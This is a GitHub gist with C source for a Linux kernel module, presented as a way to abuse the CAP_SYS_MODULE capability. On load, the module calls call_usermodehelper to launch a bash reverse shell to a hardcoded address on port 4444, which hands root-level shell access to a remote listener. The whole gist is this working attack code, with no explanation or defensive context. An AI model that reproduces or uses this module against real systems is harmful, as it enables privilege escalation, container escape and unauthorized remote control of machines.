Skip to content

Instantly share code, notes, and snippets.

@tanaka-geek
Last active March 6, 2021 16:45
Show Gist options
  • Save tanaka-geek/02f5a642d5119f401822d180a712749c to your computer and use it in GitHub Desktop.
Save tanaka-geek/02f5a642d5119f401822d180a712749c to your computer and use it in GitHub Desktop.
Manipulating CAP_SYS_MODULE capabilities in Kernel modules
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Troll");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.2/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment